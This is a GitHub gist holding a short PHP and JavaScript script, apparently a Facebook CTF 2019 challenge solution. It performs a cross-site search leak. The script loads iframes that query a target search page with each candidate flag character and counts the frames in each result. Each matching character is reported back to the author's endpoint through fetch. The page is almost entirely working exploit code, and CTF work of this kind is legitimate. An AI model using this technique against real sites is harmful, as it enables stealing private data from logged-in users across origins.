Skip to content

Instantly share code, notes, and snippets.

@tyage
Created June 1, 2019 13:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tyage/774ec80429019e001160e5e7749f243b to your computer and use it in GitHub Desktop.
Save tyage/774ec80429019e001160e5e7749f243b to your computer and use it in GitHub Desktop.
<?php
$prefix = "";
if ($_GET["prefix"]) { $prefix = $_GET["prefix"]; }
for ($i = 20; $i <= 126; $i++) {
echo "<iframe id='" . chr($i) . "' src='http://challenges.fbctf.com:8082/search?query=fb%7b" . urlencode($prefix . chr($i)) ."'></iframe>";
}
?>
<script>
Array.from(document.querySelectorAll('iframe')).forEach(f => {
f.onload = () => {
if (f.contentWindow.frames.length > 0) {
fetch('solved/?q=' + encodeURIComponent(f.id));
}
}
})
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment